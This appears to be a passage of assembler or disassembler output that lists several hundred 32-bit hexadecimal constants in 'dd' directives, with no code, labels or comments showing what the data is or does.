		dd 0F19DE300h, 28DA9C0Fh, 58B60170h, 0E6193256h, 7738809Bh
		dd 9D553BD2h, 0FA7AF5h,	0BF58362Ch, 26B675DCh, 56F76A1Fh
		dd 0DE1387C2h, 83A88FCDh, 80C5FF1Ch, 19A576Dh, 0D9A27539h
		dd 0CCD6A003h, 8A070AE3h, 0E5E8D766h, 80CDD062h, 0F69301C0h
		dd 64393EB5h, 48DD2B83h, 0C3E830D8h, 57036AB7h,	0FFC41D33h
		dd 3010CE9Bh, 9A09C149h
		dd 10C054D1h, 0DF5DDDF4h, 88DA3B48h, 0EAF25881h, 0EC9E9F50h
		dd 960769C6h, 4226EEEh,	0B9A7D950h, 799100F7h, 0AA934B6Fh
		dd 8C2683B5h, 210799B0h, 0ADF36B39h, 2353F0BBh,	0E4717C4Ah
		dd 11C50FB1h, 0B98356A4h, 0CD9891A5h, 0F100DB0Eh, 543CEAF8h
		dd 0A6601Fh, 16EBB7A1h,	5E9118DCh, 5B00CAEAh, 74C65F09h
		dd 3879FDh, 621DB589h, 4A8EDD30h, 0BD0032F6h, 378A05C8h
		dd 0EC1A3D9Fh, 11ED005Ch, 1CECFA52h, 18009150h,	42F7CD32h
		dd 10D062h, 2FB6F48Eh, 3A7E02CAh, 4FD92200h, 3DE4951Fh
		dd 65640019h, 0C2BF185Eh, 3E00FFFBh, 39D11D8Fh,	186E2EBh
		dd 85032116h, 0E8FBC4BAh, 8000F696h, 0C2DF2FEAh, 62AF60h
		dd 0BEB6ED07h, 3292EE41h, 150F52E2h, 7D5EBA48h,	392F5F40h
		dd 28674D56h, 3AD070A2h, 9CD02EDFh, 117500DEh, 66239F2Ch
		dd 324884A6h, 16F70A25h, 5280EC3Dh, 3E6C7807h, 0F8C700ABh
		dd 7951212Ch, 98007587h, 66EE3CC2h, 0B0FA49h, 0C72E4AD8h
		dd 7B356D11h, 7F9CF500h, 0E40E7A7Dh, 0C2381F23h, 0ECC5C36Eh
		dd 0A3B308EFh, 57002070h, 0C8127188h, 0BAE5EAh,	440D9E73h
		dd 24FF06CFh, 193F59FAh, 0BFB80F87h, 0E24BE038h, 1180C4Ah
		dd 0CB423554h, 0E0DD8DA1h, 3700D9C3h, 9373D8B6h, 48CE0DB8h
		dd 2E3D0CA2h, 0E8A71B80h, 0C58C84FCh, 0E91880E5h, 916F6D2h
		dd 0B0B507B3h, 610F5398h, 305469E4h, 4EE4251Fh,	968DBE1Dh
		dd 0BD193000h, 481F096Ch, 0DA007C46h, 0AE12D12h, 7000D10Fh
		dd 60CBC69Eh, 94731B4h,	2E7CBCFDh, 14F15A80h, 4A007601h
		dd 0E334C1B9h, 33F635h,	51BA537h, 0BDEE9FB2h, 59CDEA00h
		dd 158BCC0Fh, 1F1B85Dh,	61090EC4h, 0C0B0CE85h, 1600E4A5h
		dd 2E0DFFE9h, 391B758h,	3F8B7D4Dh, 41E86C75h, 0A10337F9h
		dd 0BE13052Fh, 5D2AA074h, 79E05F3h, 4FA983F7h, 54012DF4h
		dd 0CC1DBA5Ah, 6300AC84h, 3129BC4Bh, 0B8C7A4h, 966BAA10h
		dd 79DBC62Bh, 88FB3314h, 0EFBB00A0h, 0A2E02C4h,	0ED8D00E8h
		dd 30A4A035h, 960092D4h, 0EA88493Ch, 0E8063h, 746E2EF3h
		dd 14D6EE4Bh, 1C0F4090h, 0C0B6CC82h, 0CD94C2A9h, 43DE00D9h
		dd 4C5EFDA6h, 0DD48C93Fh, 914E798Eh, 140006E8h,	27A4E995h
		dd 66094C43h, 0A0561FBFh, 0E706B944h, 0A4813C05h, 106BED8Ch
		dd 0CE005768h, 0A57DE1CBh, 5B58DEh, 0D8BF35D6h,	0D3EBE25Ah
		dd 22006A76h, 38E3A237h, 96151Ah, 7284938Fh, 0C3C47C83h
		dd 5461FB00h, 7DDA2ADBh, 0F51A0EFCh, 0C040EE27h, 6277A1CEh
		dd 0DE806900h, 9123EF89h, 20AD00B8h, 0C3FCFEE0h, 0A3FA05BFh
		dd 0BB03D4F8h, 0D74CCF04h, 0DE4989EAh, 0B04CB06Ah, 89C01900h
		dd 62370FD8h, 0BF5000D1h, 0FD5A11CCh, 9009B39h,	0EBCD7826h
		dd 2C07F53Ah, 1254D6B2h, 16D30FB0h, 7A17E3E0h, 0C201C64Fh
		dd 0B56D48ABh, 8AF44B9Ah, 6A3D0038h, 51EE5ACCh,	0A5008D41h
		dd 0D6F65972h, 5D68F3h,	0A62E577Ah, 0BA3B9694h,	0A37B1A0Fh
		dd 91B60DCh, 3C5333E0h,	0C800DDD8h, 2E9C5B3Bh, 0EA00A8D3h
		dd 8AED6369h, 8021FDh, 8988DD52h, 0F6DAC3CDh, 3414A3B0h
		dd 0A84F886h, 0DBA84A7Bh, 96AF4201h, 18B01153h,	13F32264h
		dd 0FAD87701h, 0A5F945CCh, 0E58B8087h, 0AA28EC87h, 0EBB05A07h
		dd 5FB163A3h, 99E4CA0Ah, 0A71000DFh, 66E3A1EDh,	0C00BE25h
		dd 0B3600301h, 4091837h, 0A3A7B76Dh, 0D3C1C353h, 0DC9768A1h
		dd 0CE00C533h, 0E4D9698Fh, 1429648h, 0A61B231Ch, 0CC7041BDh
		dd 0D4007702h, 0C6902D7Dh, 3D39041Dh, 0D980CF8Ch, 0EF830374h
		dd 0C500689Fh, 0B4BA6631h, 90F23B58h, 0A600436h, 0C0AB637Ch
		dd 0FB5E156Dh, 0B2AE4800h, 5176AFB1h, 614300ECh, 0CF07D6F1h
		dd 58721395h, 38CE7115h, 2B7000C8h, 14BEEF4Dh, 0EDE800A1h
		dd 7DC092ACh, 2C3924FAh, 488A07D2h, 16805627h, 51F695B5h
		dd 0C3D89070h, 5964003Ch, 473874C0h, 837AA7AFh,	80DF8903h
		dd 0C004B954h, 163E3BB2h, 0BE988B05h, 283A8F00h, 0B7215ADDh
		dd 5E1DC8F0h, 5C406DEFh, 62162FC4h, 1A4F4BBh, 6F802692h
		dd 70941487h, 0A73D0654h, 5A3A80D7h, 0B8C61EE1h, 8958A18Dh
		dd 4330FFE7h, 9DF11Ah, 3FF638E9h, 7F0D055Ah, 0F5E39900h
		dd 0C546479Eh, 80171F9Bh, 580078C1h, 33DF6252h,	43F4829h
		dd 5BE500BAh, 0EAB7A55h, 253A0039h, 35DDD13Bh, 2A002090h
		dd 0B44D719Bh, 55BB08h,	471F7E63h, 0D49976D2h, 9DA9C200h
		dd 0B698C526h, 1A3A60B7h, 8E0ED8A7h, 9F589602h,	6053B2E9h
		dd 77A6Dh, 0ACB7A03Bh, 8C98AA47h, 786D2600h, 8EA52E05h
		dd 0ADF4E11Eh, 416F1863h, 17B61188h, 9146E703h,	376A119h
		dd 0C1425C31h, 60AF1CF6h, 74979688h, 0C019500h,	8C45994h
		dd 602C09CCh, 40FB713h,	0F781818h, 6A317AE0h, 9B179897h
		dd 3016A19Bh, 67F43802h, 0E01FF843h, 323E6h, 0E05D9B75h
		dd 0C75B2110h, 389168CCh, 0E7300033h, 474A32F7h, 291ECE6Fh
		dd 3B00FFA4h, 52C20AEBh, 3E800EDBh, 0D00C115h, 0D091DEA3h
		dd 48681868h, 2A289FC4h, 0E0BB8C0h, 0C1C606D5h,	35109679h
		dd 0F8BC7Ch, 8F3BC3F9h,	0F7B7E6Dh, 665D4E2Fh, 313903A0h
		dd 697BC219h, 0D0871A00h, 654618DEh, 7A5E0012h,	8A86DA5Fh
		dd 5D00F9FBh, 0E2AEFCEEh, 0ADC906h, 3378E7E3h, 24F26CA1h
		dd 2978548h, 667798EAh,	693FE06Eh, 0FD500018h, 5BCD6D60h
		dd 0CF07DB84h, 0B69BD328h, 6D9EEA6h, 590A2B30h,	9653119Fh
		dd 306BA804h, 4810857Ch, 0AC058394h, 5F06C6F1h,	29B0B1C0h
		dd 0E3EF0033h, 0A88EC45Eh, 0FC009839h, 4C7B69FEh, 46AAA7h
		dd 0BF0EB3B8h, 3234A34Eh, 6B0AC000h, 7E9D8D1Bh,	0B37B07E7h
		dd 903E1D2Eh, 0C74FCAFDh, 0C3D5EB50h, 7B467600h, 88AC3680h
		dd 74F226F0h, 5FBC0088h, 9A44683Fh, 18226E00h, 0A9372ADh
		dd 0C5760065h, 8489FDC2h, 0F400FBA8h, 0B84F5CAAh, 0EC8F2509h
		dd 0E0974C48h, 0B01C6100h, 64C3C040h, 0C4F81B03h, 0D83E4BE9h
		dd 2011FAh, 0CA1922D1h,	49BB7D0Ah, 0F98F7C00h, 26E452E2h
		dd 17ED07D9h, 0D085BD30h, 0B1DDFCC8h, 689BB32Ch, 7A9CE705h
		dd 0D31DA400h, 7AC49A7Fh, 92B3EEEh, 25BB2900h, 69AADCD0h
		dd 7006275h, 0A335E655h, 9ACE8085h, 0CCC32888h,	0A7A50F84h
		dd 0C4809F5Ch, 55E72344h, 22FAE519h, 68808528h,	0AF5C2C04h
		dd 617586DBh, 0E9BD9A00h, 0B6D1BC9Eh, 4CFE039Dh, 0C995F871h
		dd 0B2987BABh, 0B401EC03h, 0EACC2EDDh, 0AAC83859h, 1191007Fh
		dd 6FFF5CA6h, 2CFA346Eh, 0FE402103h, 2E687E4h, 1F9CAA20h
		dd 7560F0B9h, 0A0B12ACh, 0AFB374A4h, 22DE044h, 0EA9F99Bh
		dd 0CB53BFE1h, 0CF6E3AA0h, 76005816h, 0F2D0EE4h, 0E051E62Fh
		dd 96AC07C1h, 0D116E374h, 6075A699h, 0C8032FEBh, 7E8E58DCh
		dd 0A2A0B09Eh, 31AB01CDh, 1214C007h, 734F6083h,	74AF771Eh
		dd 0CEE02EC0h, 0ED109C3h, 0EF0BF466h, 41C6D383h, 592F3B80h
		dd 85717B00h, 0DF40E0A5h, 67992C65h, 0EAF8007Dh, 7A19DB8Eh
		dd 3E005A77h, 417CB1AFh, 78F666Fh, 2503A698h, 0ED4DE0C2h
		dd 0A83BC976h, 8703779Ch, 5EB8A38Eh, 93DDA8B2h,	5BA00A4h
		dd 158423FEh, 8D00FBC0h, 0E00B33EAh, 0B8AD868Ah, 0FCEB7279h
		dd 0CA270007h, 0FA9F43F3h, 28C0E8ECh, 3A4A6291h, 75350439h
		dd 0C7B5BED2h, 7190C000h, 570766EBh, 2F290CC5h,	34C1C2C5h
		dd 4DF13CA5h, 0D838C040h, 8F6F0396h, 155B8EBh, 0DCBDE2C9h
		dd 22005146h, 250611CBh
		dd 7B418805h, 0D524000Bh, 5F8926AEh, 56CF9D42h,	0F20C0036h
		dd 0C60FB81h, 8D537649h, 450C8C30h, 4E722F06h, 87AD01A9h
		dd 31D85654h, 6C80DF32h, 0C4036690h, 0BC0FAF0h,	6263C87Dh
		dd 100848A1h, 0D4C31500h, 0CADB0969h, 0DA5C210Fh, 0F3200082h
		dd 26E8F70Ah, 5BAD7BBh,	809A428Dh, 5DDB44B6h, 29C40C03h
		dd 0E04AFFE5h, 0EECA764h, 32373F10h, 855E0DC3h,	98B66DD0h
		dd 0B703F101h, 6ACA65AEh, 5541CCh, 0DA09D65Ch, 8B6E7FD4h
		dd 0F356400h, 7D792DB9h, 0FF5E0199h, 95A5895Fh,	21A85065h
		dd 607D8C43h, 55E2001h,	11A03A47h, 0FC5AD8h, 7991AF7Ch
		dd 3F01C7C9h, 5018BD77h, 6C0E675h, 0F440009Dh, 4C387B9Bh
		dd 0DF0F0522h, 2063F683h, 4E411D85h, 0E67EE1h, 0A66C8184h
		dd 0D0B5ADB7h, 313D8000h, 6837173Fh, 49BE000Ch,	4494426Eh
		dd 0F6F8A1ABh, 43C4BD00h, 0BAC7C0A3h, 6741E55h,	0D05CB2h
		dd 8C924FEFh, 404C3D2Eh, 10CE00B1h, 0E59D7FBAh,	644D0075h
		dd 0F4D165A3h, 0EB008578h, 333BF889h, 5C0EF727h, 0CD0142E6h
		dd 371D031h, 0B7FBD099h, 419A1100h, 447C28AFh, 0DEE700F3h
		dd 55C427C8h, 951EB842h, 2D402E9Ch, 5338C387h, 0F5DF694h
		dd 869F6D9Bh, 3109AA41h, 0E315FC82h, 0AF1C4700h, 44AD2D25h
		dd 7ECB00DDh, 4D611BD4h, 8B0031E0h, 0F42A2F83h,	0B990F8h
		dd 84479281h, 2D3EB7DAh, 4E02CEE4h, 97C60743h, 9884A0C5h
		dd 1D412BE4h, 808F035Dh, 76AC715Ah, 0D8E8E225h,	14008772h
		dd 0D9DA0C74h, 5445ECA5h, 904BF83Eh, 0B4FA006Dh, 0B6B510EBh
		dd 0D09AC5Eh, 203E4D86h, 0D4BCBB7Ch, 0EC1C3BADh, 370B4400h
		dd 2D246D5Dh, 119F150Fh, 0BC8561EFh, 40C240D5h,	5DCC84h
		dd 0CDA676ECh, 465429FDh, 4B028890h, 0C1A324FCh, 391C48B0h
		dd 47F600D7h, 2B4E1304h, 80FD0D40h, 0B1AD588h, 0D4B27Bh
		dd 7A3E61CBh, 0E9D6758Eh, 417D8F00h, 18C84DACh,	0CAF67Ch
		dd 2059933h, 0C08FB915h, 0E2BA8B00h, 2F185154h,	957F58A8h
		dd 4B6AA400h, 56996462h, 279B8F14h, 5F05C048h, 1D5C3DF0h
		dd 5CDDE566h, 0B4DE0219h, 8077FBC6h, 805E0A74h,	742A000Bh
		dd 0BD76D368h, 0FF03DCA5h, 7CC8692Fh, 6023BB61h, 542839C0h
		dd 0BD006C1Ah, 0B2E159FDh, 4E7863h, 47CC5198h, 906DE2F4h
		dd 8DB6F500h, 9F723F8Ah, 299A00B2h, 395EEB59h, 717F4502h
		dd 0AADBFF0Eh, 3B94625Dh, 777C6067h, 6B650288h,	48DC8A0Fh
		dd 0CED050C8h, 9AE681C0h, 0E59DE17Bh, 0AD99E880h, 81CAC823h
		dd 92E5BB00h, 0E8C28E9Eh, 0D51100EDh, 0BE360A32h, 8B16B338h
		dd 0D600266Fh, 5BD9C63h, 7470000Dh, 4793C7EFh, 2A001085h
		dd 1169EECBh, 0BEEC73h,	3D7D5FE3h, 350CD380h, 3BF6C118h
		dd 75DE7C38h, 6F2A00FAh, 0CABE3C9Bh, 2C9853A6h,	9805A400h
		dd 99D9441Eh, 2B6001Fh,	0EF677EE2h, 2D3E2E8Dh, 61AC00C4h
		dd 0E8962C4Fh, 0BB5C016Fh, 0E852A35h, 0B5D4501Dh, 2700D601h
		dd 0B95C9B1Bh, 9787AEh,	24BF17Dh, 61489911h, 3FC66F1Dh
		dd 0AC124CA4h, 7BB56803h, 0ECF098DDh, 1F1FEEEAh, 80250F3Eh
		dd 31E301BCh, 42007AEEh, 1745B0DCh, 51DAFB32h, 205084FDh
		dd 3B34D8Bh, 8920DDF0h,	24F05A2Dh, 354817E5h, 7FDCB07Ch
		dd 494D0320h, 5072246Ah, 21F5ADE3h, 60BA5FE0h, 7E00AE20h
		dd 0E15AA342h, 0EB9F880h, 0EE3D9C5Eh, 20BA9D27h, 67A92488h
		dd 89212D1Eh, 25C5B741h, 0C820CFC7h, 81E0BDD3h,	9200FE0Ch
		dd 0C8443136h, 375FA07h, 77B67447h, 7EE04A21h, 0F600403Ah
		dd 54C7BA34h, 1EEBC67h,	444E22ACh, 0E1490516h, 3466202Fh
		dd 0D4E75698h, 0E30050CDh, 94010420h, 0B3A8CCh,	60F7CAC9h
		dd 0EFA9BA5h, 0A1969700h, 725EB273h, 6570BDAEh,	0BC21C907h
		dd 4F604A3Fh, 6DDF2Bh, 14FAAC87h, 74C9C73Ah, 84D1640Fh
		dd 859B2B58h, 64825ADAh, 0F144C045h, 7C37015Ch,	0F7ADEF0Ah
		dd 5B34F406h, 0E63E8EC7h, 6819C5B1h, 27808C47h,	0C4EB2h
		dd 0F99A997Ch, 2CD497A0h, 0D151D301h, 38252D02h, 282F80D0h
		dd 0A0175Ah, 0B71DB9CEh, 4AEEAA1h, 23FE409h, 6EA4208Ah
		dd 0A028095Ah, 5772F0h,	0F4311ABh, 97BCF0D8h, 16E09C00h
		dd 5EB3A2C3h, 481A5C28h, 5AE895A3h, 0B61D3057h,	11169834h
		dd 0B48DC804h, 1F6C93h,	60C1A988h, 17EE5324h, 6E003092h
		dd 0CC6478D1h, 30A3EDD2h, 5318D68Bh, 1005581Fh,	450D12C4h
		dd 0E44DE840h, 1D4CC772h, 81A9600Ah, 0ED9C225Ch, 8AE6C82Fh
		dd 5720AA00h, 0A8D2B928h, 0EE3003B4h, 0FC10B204h, 7E654A88h
		dd 333CF500h, 5A232E59h, 5E58005Bh, 1C44B6BFh, 4900D32Fh
		dd 597F3BA1h, 3B5C1417h, 76288B2Dh, 703200C9h, 1B22F76Ah
		dd 9F03BFD2h, 0F63C8114h, 1280EF59h, 2C61F14Eh,	96FA543h
		dd 801097CDh, 1000739Dh, 0B1D1324Ah, 0C86AAAh, 0BCA7EE34h
		dd 86717202h, 0EB3F8E73h, 0B98B8018h, 0B2AE1990h, 0EAE524C0h
		dd 1FBAE314h, 8B400B5h,	0A0861424h, 82B6A817h, 0CAE2CE0Fh
		dd 0EA81C0DCh, 0D1253864h, 7D87F841h, 7B4B8EFCh, 0E46F5053h
		dd 735800DBh, 3EAD61A0h, 7013C1C0h, 1C16EFA5h, 2AE4DC02h
		dd 0CFFCC05Dh, 4868015Fh, 0CDD75C2Ch, 24142866h, 0B66AF472h
		dd 1C328038h, 517D2C0Ah, 0E066038Ch, 44843B9Ch,	0BB3C07C5h
		dd 902525A9h, 0B78A978Ch, 0A471663Bh, 0FCA4E0F8h, 5FADCF80h
		dd 2E5D218Dh, 5CBB69h, 12CEDB71h, 0C9008FF3h, 884DB922h
		dd 1EB5B694h, 1240D353h, 0E023053Ch, 7210D0FCh,	0CC88700Ah
		dd 6374F5h, 0A2F3DA04h,	1CDD835Ah, 0EA7D600h, 74B08B4Fh
		dd 0B5C4CAEh, 0B78F5F03h, 42A83572h, 5278C924h,	2EEFB601h
		dd 0DC602154h, 1F3D23E0h, 0BEDBDh, 0FBE438F8h, 9002688h
		dd 0E3869117h, 1297397h, 0FE68439h, 0D4DA79ABh,	0B3000CB7h
		dd 4A6416CFh, 9B3B7Fh, 0D3CB31C1h, 483537E7h, 0B5E21201h
		dd 0B62C440Bh, 92007828h, 0D6CE1E7Fh, 0E50030F6h, 0B79DBBFEh
		dd 0D8A9BEh, 0ED46F222h, 2892DA56h, 11F92030h, 6E58DCDh
		dd 0A0B6FB24h, 590131B5h, 1BAF8618h, 0E03435A8h, 0AEB12CBCh
		dd 1A003C30h, 0C501236h, 0F40F205Eh, 9E3C649Eh,	32104E18h
		dd 823E41B5h, 0CD854620h, 1B07E0ECh, 3D3F26BEh,	0FF541C39h
		dd 0B1D809F8h, 3300BBEEh, 3C1AF81Dh, 8CE73601h,	906042Ah
		dd 170F80BDh, 1E07428h,	0ABB6EEEAh, 1E56DC00h, 0F4A3FA91h
		dd 0A095608Ch, 0D4F65819h, 250C4EFCh, 683C1FCCh, 221C36Fh
		dd 0B2D08BECh, 96028AC9h, 90FC8FB4h, 0A084E31Fh, 5E8DC3h
		dd 30617F2h, 0C092680Ah, 0E58BFh, 759F23D3h, 990D8AD8h
		dd 908152h, 0A080BECh, 0CBEA121h, 9A9DBC43h, 400A570h
		dd 7CD3FB69h, 28B3BFC8h, 28DC210Fh, 9C01F3h, 98FE759Bh
		dd 0E81EBE15h, 0B34A4F1Fh, 0C98D81BAh, 0EB7A7F6Eh, 3069E9C8h
		dd 0E1599615h, 2F01A448h, 0FE8C2546h, 0C2EC2AFCh, 1EA8Eh
		dd 0D10B52C1h, 9F2522FDh, 0C7D913Eh, 0B0FE90EFh, 6F724Bh
		dd 3617D63Eh, 0F18E4F83h, 76E8745Fh, 9BDC5300h,	39B619BDh
		dd 0F48CE600h, 0D1D44468h, 0C5127707h, 0B242B9h, 0E21B3848h
		dd 0BE038253h, 0EAA6DD89h, 0DAD1B002h, 222B182Fh, 5AF32898h
		dd 0D9367B03h, 0A113A1BFh, 0B4DCCBECh, 0A37900AEh, 5EC41A97h
		dd 9105FB89h, 0CEA8B5Ch, 0B73D9803h, 0B447C82Eh, 3BB130BBh
		dd 20DC8F19h, 891C100h,	948379C8h, 0CE403C97h, 0B30B00F7h
		dd 31249E17h, 6C00690Ah
		dd 2114B6F2h, 3E0C3Dh, 0E4F8C387h, 76B9EEE0h, 7BD7423Ah
		dd 935C2300h, 0C1DAB6E5h, 3A3E0AB8h, 0B5408Bh, 704F7A5Fh
		dd 27AB063h, 0B40C20E4h, 203CACC7h, 58250055h, 9AE5CEE3h
		dd 0D8012EEBh, 0C9999DF8h, 0C1CC1BD4h, 859C09Fh, 43B09362h
		dd 0F50606FEh, 3DE3639Bh, 8A7F0148h, 0E0301495h, 0A0108104h
		dd 0FAD296AEh, 3F8B0A70h, 607462DDh, 2222167h, 7338FD87h
		dd 0F2B30090h, 2FC67AB7h, 257FFA98h, 73507E40h,	0F9DE3200h
		dd 0AE03ED6Dh, 60B401B6h, 3B95ECE3h, 0ADE88182h, 714D4CEEh
		dd 30127CF0h, 85306268h, 0D0065A7h, 959B3D6Ch, 600B4EFDh
		dd 52F840B5h, 1D3EDB35h, 0A3F20793h, 57E0EFEBh,	48B00BF0h
		dd 7F71D6h, 0A2726E67h,	4F814C48h, 4CEB7E5Ch, 6120174h
		dd 0A0BDA58Fh, 8804E0FAh, 8A40083h, 19800A15h, 2AE85B42h
		dd 0E7146101h, 0A78EDC12h, 3EA68CCh, 0A2018BDEh, 8FA0849Ch
		dd 7B3D2EF4h, 67F88235h, 87FC9A33h, 1EC085DEh, 0E0F08812h
		dd 189D6099h, 444E3D87h, 4565040Ch, 13E40F8h, 0C69B910Ch
		dd 0ECC25F7Ah, 230F4BCEh, 0ACD5AAF9h, 0F4B018h,	0BBC94405h
		dd 0A0DECD24h, 300B098h, 9EE854A3h, 1DC9253h, 870DBD19h
		dd 80812486h, 0EB489A0h, 457F73h, 0BF7D9D1Eh, 0F08B42A6h
		dd 3CC7D000h, 0A5736E01h, 0AC970166h, 0BF560B77h, 0BD1080D3h
		dd 0D19F8498h, 52E2F1h,	7FEA40E6h, 6DBCD079h, 9435D31Fh
		dd 626980F9h, 37EBE11Eh, 0D07E0141h, 20746B88h,	0AACC0C4h
		dd 30E02900h, 0AAEA75F2h, 6E36E8F5h, 0CB40207Eh, 53E5741Eh
		dd 62D05B01h, 0E1E2345Fh, 2D036010h, 69566E1Fh,	3F75FB0Eh
		dd 61707C0Ch, 7A800B9h,	0FA9BB6E6h, 948E0DFh, 0E9890E34h
		dd 0CCA64015h, 0A05C048Fh, 74DDFC28h, 0D87400C7h, 696B523h
		dd 0EB0099CCh, 80898839h, 3011E67h, 8C10F6EDh, 0D9081A96h
		dd 406A9E02h, 0E29BEE82h, 80856070h, 540A11E6h,	1276DF10h
		dd 34002DE4h, 9AD548C8h, 783FA3h, 25DC9EE7h, 5D5C051Ch
		dd 0C700C0ECh, 7DBA0E91h, 9866B236h, 0F4C600E7h, 92F1575h
		dd 6B006CF0h, 0E5A2D1BCh, 36E0ACh, 0F3B46301h, 8E117A73h
		dd 74058207h, 8D12DC4h,	0CC209D84h, 76FC605Fh, 0ED3B611h
		dd 0A8075A00h, 0ACB5CA47h, 74E038A9h, 0B92EA65Ch, 0CD823DDDh
		dd 48A57C5Dh, 695A57C0h, 29309A00h, 270B1C83h, 8C2100D0h
		dd 0C35BC925h, 0CCCFD456h, 2B009362h, 2AC23D60h, 2B0700E5h
		dd 8CAC664Eh, 23005CFBh, 6A513857h, 70DF48h, 0D05DE9C7h
		dd 46C503D4h, 0E331D574h, 0BFEC204Ah, 3E21E8h, 5DE520EBh
		dd 49DBE695h, 70A91206h, 2861FDh, 0C389DE1h, 74659989h
		dd 780E5500h, 322D9201h, 0EA940A14h, 5C4090B6h,	8049A621h
		dd 9CA3608Fh, 0BD022125h, 125958AAh, 0CC1640F0h, 0D99000BAh
		dd 95484E6Bh, 0C0033CA4h, 0C1315AB0h, 3FC900DFh, 0F7915E4h
		dd 800A56Eh, 0C4EC1682h, 774C04DCh, 295C60E9h, 4BB6BBB1h
		dd 192C9201h, 1C74CA3Eh, 0CB4FA760h, 78844620h,	0C6F681C1h
		dd 5BC8804Eh, 9D4CAB2Eh, 767CF8h, 0B3550EDAh, 98BCBDF0h
		dd 0BD4B1C3Fh, 54B86023h, 0A46641CCh, 3BCB0C88h, 3610B28Bh
		dd 9399C00h, 47716729h,	0C9040E50h, 0DD3C5331h,	4AF5800Ch
		dd 8E41806Ch, 0CC1C2900h, 0DC73F9CEh, 7857F4DFh, 4A0C0084h
		dd 26D49895h, 0CD009F31h, 2E6DF4D9h, 592A1Dh, 14211F06h
		dd 3BAA8C7Bh, 28C82C00h, 0F736D5A9h, 0CF63008Fh, 942E7F22h
		dd 45E47283h, 6D9C8B0Fh, 5FC07CB4h, 4F554CFFh, 2E6E98FAh
		dd 0E83966h, 0E09554D9h, 0D20397EAh, 7BC5CB87h,	8E22D0BFh
		dd 0FBE41C19h, 0D952CF1Eh, 137067E0h, 0B50E4F97h, 0AB050758h
		dd 128B00EDh, 0F89993B8h, 3E9BE236h, 3E00F21Bh,	94F58EBCh
		dd 0E70EF610h, 0A07B110Fh, 40BA056Ah, 15730666h, 84B2DB1h
		dd 0E121EB60h, 71EEC160h, 0F07F05Fh, 0DAF3E9C4h, 68F1B6A0h
		dd 0F4F8104Ah, 0B87B5DE8h, 8B9611C0h, 0FA1CBh, 97F1EA6h
		dd 727C2BDEh, 49204C67h, 0F345CB40h, 1A2500F1h,	0A88223A3h
		dd 79C0EAC2h, 0F02A598Bh, 83E43EC1h, 0C3CE2C00h, 0F193A3D1h
		dd 63FDFE14h, 0CB9A8038h, 21EE07D4h, 0CE0875BBh, 0C540005Eh
		dd 0DB8A79CBh, 114F6A0Bh, 89510019h, 0A134E8h, 0F1B97F52h
		dd 7C105124h, 507D1D39h, 0E77A679Ch, 178FFD00h,	0B590F453h
		dd 6976001Eh, 4DAADD88h, 2400D50Eh, 2D57C6DCh, 9A0259h
		dd 1EC782ECh, 5C6594B4h, 0D810C02Ch, 19A95200h,	2B7547h
		dd 448AD202h, 0BCFF64ACh, 45E85D00h, 73D525B1h,	4F8700C9h
		dd 0AF44637Dh, 11262A6Eh, 0AB00CB28h, 0C5598ACh, 7345339Dh
		dd 15F9F580h, 2E8D8E4h,	0E354140Fh, 782161B4h, 60806B58h
		dd 0B7DB3925h, 4B381406h, 82C03070h, 2C012C0Eh,	0EAAA9Ch
		dd 7C83FA65h, 0B6785571h, 78E00330h, 0B25722h, 604E27F1h
		dd 985D409Bh, 6CAF4600h, 95B40A2Bh, 6680009h, 0F9E2B3ABh
		dd 0CB8061E6h, 0C075FA97h, 808D30A8h, 0EF07789Bh, 459CE53Bh
		dd 0C28BB66h, 496834C7h, 0A23B696Ah, 0A4A1E037h, 1EBDE866h
		dd 0C01C0A20h, 0EA8624C4h, 5A00178Ch, 5BC66185h, 13293CAh
		dd 0CF8FB99h, 0E43DA1FAh, 5460F045h, 661D9560h,	101B00B2h
		dd 0EF1ED12Ah, 3F2CF78Eh, 0D20048D0h, 8C735515h, 0DEFE001Bh
		dd 5E092821h, 0D30FBDB7h, 0E091F03Eh, 4B663B2Ch, 35C11DCCh
		dd 0F2880061h, 0ED9E19F9h, 202ABC30h, 1CC12BB4h, 80AB228Ch
		dd 0B509D243h, 0DC009465h, 789C25FDh, 0C75F6h, 0E162D640h
		dd 0CAEB3714h, 0AB405A67h, 4EB3F151h, 0EDF27C8h, 0D29CC36Bh
		dd 0A121358Ch, 0A03DB87Eh, 303E800Ah, 0A59CED55h, 7A0B9033h
		dd 0A30D00D9h, 769A12BAh, 5B002AABh, 5C372BEFh,	31850B3Bh
		dd 0F20835AEh, 0FB208067h, 6A293488h, 0C20F2B9h, 3EE15CECh
		dd 37151071h, 5F50D0E0h, 4F8AD61Ch, 108850D4h, 23140038h
		dd 6C0ACCBDh, 39E58F00h, 3436809Ch, 0B5A10056h,	3FB90381h
		dd 966A0B09h, 0B021AEC4h, 414F880h, 867F6C5Ah, 574E20h
		dd 9337E7B0h, 61E0BFC8h, 511BC0C1h, 0A1805D2Bh,	67D9FC65h
		dd 61C404EBh, 45309395h, 0F110EC37h, 0B5B08829h, 820FBE18h
		dd 0E0381CFBh, 5DD2FA80h, 78BF00E1h, 6AE4ADABh,	0F40031EDh
		dd 45DCE576h, 4C3871C5h, 6C032E35h, 0DF3AF6C1h,	0A697E8D0h
		dd 0D5F6B00h, 82896079h, 58270088h, 320B399Dh, 400BA87h
		dd 6F2A1F3Bh, 1DF3F642h, 41B5747Ch, 416B107Bh, 0C24D3049h
		dd 0F499A200h, 0A04E8CDEh, 5B70076Eh, 0C192A19Ch, 0F05E9F13h
		dd 7600AB49h, 2FAA240Ah, 132F84Dh, 965FDEE2h, 0DCC47F80h
		dd 0D51F15B8h, 46809485h, 3972FA7h, 7767F6E6h, 2D2C0091h
		dd 0CE318BA8h, 877FEB8Ch, 8673BC79h, 33209E64h,	0B3D9F300h
		dd 0C9F213BAh, 418150C0h, 674CC614h, 0A091815Dh, 8C89B16Bh
		dd 32CF11C0h, 2C21A390h, 3CF7A170h, 43EA4BAh, 3E915080h
		dd 97B99089h, 3B44423Ah, 0F41A062Ch, 0A17919h, 93A73FF8h
		dd 3B69504Bh, 3CA9B400h, 0E673B32Eh, 4AEB1EDCh,	5E36CCC1h
		dd 0C530FD30h, 9C4DB897h, 0BB7821h, 89947685h, 4FD3D8C0h
		dd 0E5115D01h, 86CB2E51h, 60C9E0F0h, 6B94C8B1h,	60A88320h
		dd 66089043h, 62A46822h, 0EF00CEC5h, 9C8DAFh, 7BD1A077h
		dd 0FE020D80h, 8FD95D1Eh, 4D75A180h, 0F42D4E88h, 0BCE9F1B1h
		dd 3D413CE4h, 0DA8002EFh, 2FD2F9CCh, 0FB00B316h, 7DE15A9Ah
		dd 0EA28FE18h, 3CE31EFDh
